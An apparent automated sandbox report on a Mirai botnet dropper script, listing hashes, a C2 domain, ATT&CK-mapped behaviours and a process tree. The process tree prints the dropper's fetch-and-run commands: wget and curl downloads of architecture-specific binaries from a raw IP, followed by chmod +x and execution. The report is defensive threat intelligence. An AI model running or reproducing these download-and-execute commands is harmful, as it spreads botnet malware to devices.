mirai | b93c50bf08ffdd666baef615ab59783d3f0c8d68d6e80bdb6f028f9373bc1b96

General

Target
sh.sh
Size 1KB
Sample260510-p4vkmsg131
SHA256 b93c50bf08ffdd666baef615ab59783d3f0c8d68d6e80bdb6f028f9373bc1b96
MD5 c5848645d69c2180bdb59c45e87cf5f1
SHA1 e6279666995951839971e13365e3d2d6c602c6a2
SHA512 7db9e56ba4db09673225ee77764d9ca17a3a9e725ce286685db683fea0a03c0ea344e42127f6714cc306ca9730ccae1f776c3a782306cab7edb3d3057be64bbe
TLSH
T1274113D916AD42792FEB5D27F2AD9449B18896A724C06E6E5DDC3CB4824CF042449F83
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet defense_evasion discovery mirai

Malware Config

Extracted

Family

mirai

C2

haven.mephedrone.nl

Extracted

Family

mirai

C2

haven.mephedrone.nl

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Contacts a large (62070) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
829	chmod
799	chmod
823	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/wget	800	sh.sh
/tmp/wget	824	sh.sh
/tmp/wget	830	sh.sh

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	/lib/systemd/systemd-udevd	830	wget
Changes the process name, possibly in an attempt to hide itself	wpa_supplicant	831	wget

Reads runtime system information 3 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
826	wget
827	curl
828	cat

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/debug.x86_64	wget
File opened for modification	/tmp/debug.x86_64	curl
File opened for modification	/tmp/wget	sh.sh
File opened for modification	/tmp/debug.x86_32	wget
File opened for modification	/tmp/debug.x86_32	curl
File opened for modification	/tmp/debug.mips	wget
File opened for modification	/tmp/debug.mips	curl

/tmp/sh.sh
/tmp/sh.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:710
- /usr/bin/wget
  wget http://216.9.225.23/debug.x86_64
  2⤵
  - Writes file to tmp directory
  PID:715
- /usr/bin/curl
  curl -O http://216.9.225.23/debug.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:768
- /bin/cat
  cat debug.x86_64
  2⤵
  PID:798
- /bin/chmod
  chmod +x debug.x86_64 sh.sh wget
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/wget
  ./wget
  2⤵
  PID:800
- /usr/bin/wget
  wget http://216.9.225.23/debug.x86_32
  2⤵
  - Writes file to tmp directory
  PID:803
- /usr/bin/curl
  curl -O http://216.9.225.23/debug.x86_32
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:821
- /bin/cat
  cat debug.x86_32
  2⤵
  PID:822
- /bin/chmod
  chmod +x debug.x86_32 debug.x86_64 sh.sh wget
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/wget
  ./wget
  2⤵
  PID:824
- /usr/bin/wget
  wget http://216.9.225.23/debug.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:826
- /usr/bin/curl
  curl -O http://216.9.225.23/debug.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:827
- /bin/cat
  cat debug.mips
  2⤵
  - System Network Configuration Discovery
  PID:828
- /bin/chmod
  chmod +x debug.mips debug.x86_32 debug.x86_64 sh.sh wget
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/wget
  ./wget
  2⤵
  - Changes its process name
  PID:830

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Credential Access

Discovery

Network Service Discovery

2

T1046

System Network Configuration Discovery

1

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

debug.x86_64

Path /tmp/debug.x86_64
Size 143KB
SHA256 2903832e570e9ae1d8d762008426e018af150d90465733bcc5c4b0c683cca249
MD5 7acdfe8c45cfdb19b7bb4b625182e56b
SHA1 b351894191ea69b0047cb0bd452132719c771977
SHA512 c3a5cd9104ce30c524924569764f4f941c69863e5be681d6a98adb220e3e8e1609bae1156d0093826a42a256ec71fcacc0dbe6cece117ccc2f79c8b507f8f9b0
SSDEEP 1536:+l7y+RLBIc6Qw/vvtIXOeRzZ6QJYFjq4/uXKkrQJ86Ydh4uIM2aqF33/3fJGel9h:/+lB/GmnR4WoJ8Nh4uUaqFvf7lwR3J
TLSH
T1BCE36B523AC180FDC549D1B81AEFA136D9A9F0BD2368764F37C0EE261C4DD604E79B92
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wget

Path /tmp/wget
Size 125KB
SHA256 27d62ffd5e6487f70520209221eb167827287d8f48cee58376b2a751335221cf
MD5 a45d67ae06271133661e1b729dcdfc77
SHA1 0f54ead21e583d54f44ab0a9fd6c49162fdea0f5
SHA512 1ac249cd181766a262b02a95fb10338a97586d1d3c342d5eceff4f933fafc75d5424c7e212fddc8cbfedebc16f53a4da4a53ab9391330c87523365c87ef678c5
SSDEEP 3072:dKoya3DgNc4gO07lfzlN7gUcJrvPrD8YdJVSQVzBp:Eoya3DgNc4gO0NxN72JbVSQVzBp
TLSH
T194C35C938313D5F6D8150931E037E736EAB9C52A512AED81E3ACDE34EC96E0285237DD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wget

Path /tmp/wget
Size 180KB
SHA256 af2d34521e18ecd22e03fba7c6594aa35b89df26da89f2849fe2b2f5e5473c39
MD5 a7e90db928258b33cf7eabba36c22ff0
SHA1 4c3adc00b41afd6a64954cd0218a179c21c1572d
SHA512 56aac3f21e92e87013512bdfdfc5a54026af0358115521dbb6578183e241bd9dcd8b326d27f9673a2b076257142ec399cbe54dc3c2ec2a9ea3c4c5ab8c042d19
SSDEEP 3072:onJGggY4z5iuMqqBq3tt0WBKC6GxCcM+Hv4888V7u4mNRBN5q:Hgqz5dMqqSaKCcvQyV7ujRBN5q
TLSH
T19304E75F6E225FADF36D833553B38A31A7A833C623E0C586E17CD5111EA034E552BBA4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads